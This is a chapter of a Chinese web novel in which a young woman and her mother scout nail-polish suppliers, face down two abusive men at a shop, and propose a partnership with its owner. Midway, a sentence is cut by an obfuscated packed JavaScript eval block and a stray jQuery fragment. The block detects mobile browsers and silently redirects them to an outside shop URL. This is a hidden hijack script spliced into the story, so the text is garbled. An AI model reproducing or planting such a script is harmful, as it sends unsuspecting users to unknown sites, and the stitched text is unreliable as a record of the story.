“做生意本来就是打仗。”许南枝笑道:“谁先占得先机,谁就会赢得胜利。”
“走吧,我们也进去看看。”她已经迫不及待。
人潮拥挤,她紧紧拉着林桂香的手,生怕被人流冲散。
她们一连进了好几家店,有的店里指甲油都是最基础的货,颜色少得可怜,来来回回也不过红色、粉色。有的店里货倒是多,可是老板一看她们只问不拿,知道是来比货的生客,态度立刻就淡了下来,报价高不说,补货时间也说得含糊。
许南枝并没有因此受到挫败,货的质量决定了顾客的体验,因此拿货,就是需要多比对,找到最合适的那一款。
并且她十分清楚自己店的定位,主要面对的是女性用户。做女人的生意,最怕的从来不是贵,是缺。
美甲本来就是创意性比较大的一类产品,各种颜色的搭配,各种款式的挑选,都需要丰富的原料。
但是在目前看过的店铺中,还没有符合她要求的。
不过她并不着急,倒是身旁的林桂香慢慢有些茫然,她不解问:“南枝,咱们路过了这么多家你都没有看上的,你到底是在挑货,还是在挑人?”
“都挑。”许南枝头也不回地答:“货要好,人也要稳。等我们的点开起来,我们不可能常来港城,所以这一次,我不仅想要进一批货,更想要在这边建立一条稳定的供货链。”
“这样。”林桂香点点头,听懂了,随即道:“你这丫头,以前咋没发现你还挺懂这些嘞。”
许南枝笑了笑,没有说话。
她们又转了小半天,从东边逛到西边,在路过一家不算起眼的店面时,听见里面爆发出激烈的争吵。
“你又发什么疯!”一道尖利的女声先砸了出来。
紧接着,是一个中年男人的吼声:“我发疯?你个贱女人,翅膀硬了是不是?别以为你现在开个铺手里有几个臭钱,就敢给我摆脸色?我警告你,赶快把这店转给我,不然我真砸了你这破店。”
女人不甘示弱,“凭什么?这店是我盘的,开店所有的钱也都是我出的,我凭什么给你?吴弘我也警告你,赶快从我的店里滚出去,不然我就再打断你的双腿!”
那个名为吴弘的男人听到这话被吓得瞬间酒醒了些,双腿不自觉发软,但下一秒还是不怕死地吼道:“你敢!孙菁语你这个贱货,还真是个吃里扒外的东西,当初要不是老子收留你,你能有今天?”
他骂着似乎不觉得解气,还故意提高声音朝着周围的人喊:“老子今天就让大家都看看,你是个什么货色。”
他顺手抓住旁边的一个路人,边骂边指着孙菁语,“这位大哥,来看看这个臭不要脸的姣婆。我跟你说,你别看她现在一副正经人的样子,以前可浪得很!上赶着跑去国外巴结外国佬……”
被他抓住的那个男人跟他臭味相投,一听这话,看向孙菁语的眼神顿时变得猥琐,跟着起哄:“哦?那后来呢?”
“后来?”吴弘见人站在自己这一边,更来劲了,“后来被别人搞大了肚子,不承认,甩了她一笔钱,把她赶回来了。”
“不然,就她一个贱货哪来的钱开这个店啊!”
“哈哈哈哈……”两人爆发出猥琐恶臭的笑声。
林桂香在一旁听着,气不打一处来,重来一世看到这种品行低劣的男人她实在是控制不住自己的脾气。
她一个箭步冲了上去,“嘿你们这两个畜生的嘴也太脏了,吃了屎没刷牙在这儿乱喷呢!”
许南枝见她开团,直接秒跟,“原来是这样啊,我说这儿怎么这么臭呢。”
两人边说着边用手捂住口鼻,对他们露出嫌弃的眼神。
那两人见状,先是一愣,很快脸色都沉了下来。
尤其是吴弘,大概是喝多了酒,又在这么多人面前被两个女人当成了笑话,脸上顿时挂不住。
他猛地把手里的酒瓶往旁边柜台上一扔,酒瓶碎裂发出“砰”的一声脆响,酒液四散,溅了一地。
“你们两个臭三八,说谁嘴臭呢?”
他旁边那个猥琐男人也跟着上前一步,斜着眼上下打量着许南枝和林桂香,“哟,来了两个多管闲事的。一个老的,一个小的,怎么都爱替这种姣婆出头,难不成你们跟她是一路货色?”
“我去你的!”林桂香更炸了,她抄起地上担货的扁担就朝两人挥去,“爱吃屎就滚去吃没人拦你们!我们替谁出头关你们屁事,我就应该把我的锅铲带来,拍死你们这两根发霉的烂冬瓜!”
许南枝也被他们不干净的笑弄的犯恶心,补刀道:“妈,你别靠他们太近,万一沾上了那股臭味,回去还得洗衣服呢。”
话音刚落,周围其他看热闹的人都忍不住笑出了声。
吴弘脸色铁青。
“你个臭丫头片子……”他骂着就要冲上来。
谁知他刚一抬脚,一个飞物便朝他的脸上砸来。
吴弘应声倒地,再爬起来时已有血迹顺着他的额头流下来。
“还不快滚!”
只见孙菁语站在柜台后,脸色发白。她直直地盯着吴弘,眼神中充满了一股豁出去的狠劲。
“你这双腿,当真是又不想要了?”
这话一出,吴弘明显害怕了,他知道这个女人疯起来的时候那可真是不要命。
他的第一反应是认怂逃跑,可是……
他越过前方许南枝的身影,将目光落在了她身后的黑影上。
那黑影并没有说话,只是看了他一眼,转身离开了。
许南枝敏锐地察觉到了他的异样,她急忙顺着他的视线回头,却并未发现任何可疑之人。
吴弘不由得咽了咽口水,硬着头皮扯着嗓子骂:“你,你,你少在这儿吓唬人。谁不知道你当年是怎么回来的?别以为你现在装得正经,就没人记得你……”
“记得我什么?”孙菁语打断了他,她上前一步,盯着吴弘,“记得我一个女人,被人骗了,被人抛弃了,还能自己活着回来,自己生下孩子、自己开店、自己把日子撑起来,还是记得你一个大男人,除了喝酒、赌博、找女人要钱还往女人身上泼脏水,就再没半点本事?”
周围瞬间安静了一瞬,连许南枝都惊呆了,心中那点奇怪的感觉自动被忽略。
她看向孙菁语的眼神中多了些佩服。
“就是,”林桂香见状附和,冲着吴弘就是一顿输出:“你这个没本事的烂男人,自己一无是处,还天天靠编排女人给自己长脸,你也配在这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617386|205885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喊?”
吴弘被骂得完全没了面子,半天才咬牙切齿地挤出一句:“行,行,你们给我等着。”
说完,他一把推开挡在面前的人群,踉踉跄跄地跑开了。
另一个猥琐男人见状,也跟着他灰溜溜地走了。
林桂香还不解气,冲着他们的背影啐了一口:“呸,两个畜生。”
许南枝这才转头仔细看向孙菁语,她很年轻,不过三十出头,打扮得也很新潮。
“你没事吧?”她问。
孙菁语的胸口起伏得厉害,像是被气得狠了,只是她依旧强撑着摇了摇头,“没事。”
许南枝抿了抿嘴,没有接着追问,而是弯下腰准备帮她收拾地上的东西。
她的手刚触摸到地上的物品,便愣住了。
这么巧嘛?
她不禁在心里嘀咕了一句。
“我自己来吧。”孙菁语开口。
她说着从旁边随手拿了个纸箱,蹲在许南枝旁边一起捡。
“刚才谢谢你们。”
“没事。”许南枝朝她轻笑,随即顺势问道:“这些就是你卖的东西?”
“嗯,一些小玩意儿。”孙菁语说着见许南枝有些茫然,以为她是不懂,解释道:“你可能没有见过,这些都是进口的,叫指甲油,就是涂在指甲上的。”
许南枝点了点头,顺着她的话,“原来是进口的,难怪我逛了这么多家店也没见有几家卖的。而且我看你这儿的款式啊,颜色啊都还挺多的,你是经常去国外拉货吗?”
“以前经常去,现在形成了一条固定的供货链,就不怎么去了。不过说到款式……”孙菁语顿了顿,“你这小妹妹倒还挺有眼光,你看看我这店,我不像其他的那些美妆美容店,什么都卖。我只卖这一种产品,所以款式自然就多些。”
“不仅如此,我还有一些工具呢,都是做指甲的。”
“做指甲还有工具?”
许南枝一脸天真,看得旁边的林桂香脑海中浮现出一个大大的问号,她记得她很懂这方面啊。
不过她并未作声,南枝这么做肯定有她的道理。
“那你可以给我看看吗?”许南枝进一步追问。
“你……你不觉得很荒谬,很好笑吗?”孙菁语突然冒出这么一句。
她是有些惊讶。
她以前在国外待过一段时间,知道国外关于美甲方面的发展蒸蒸日上,然而国内还在刚刚起步。
所以她才看准了这个市场,只卖美甲产品。
然而从她刚卖开始,就遭受过不少的嘲笑,人们都觉得在指甲这么一个芝麻粒大小的地方费心思简直就是在浪费时间。
“我不觉得荒谬和好笑。”许南枝猜到她的想法,认真地说:“因为,我也想要开一个美甲店。”
“真的?”孙菁语闻言有些激动,渐渐觉得她是跟自己同频的人,“你也去过国外?”
许南枝诚实地摇摇头,“没有,我只是觉得它未来会有很好的发展。”
她进一步道:“不过我卖的不是这样的现成货,而是需要顾客坐下来,帮助她们把手指甲弄得更好看。”
“所以……”许南枝轻轻吸了口气,道:“我觉得我们可以合作一下。”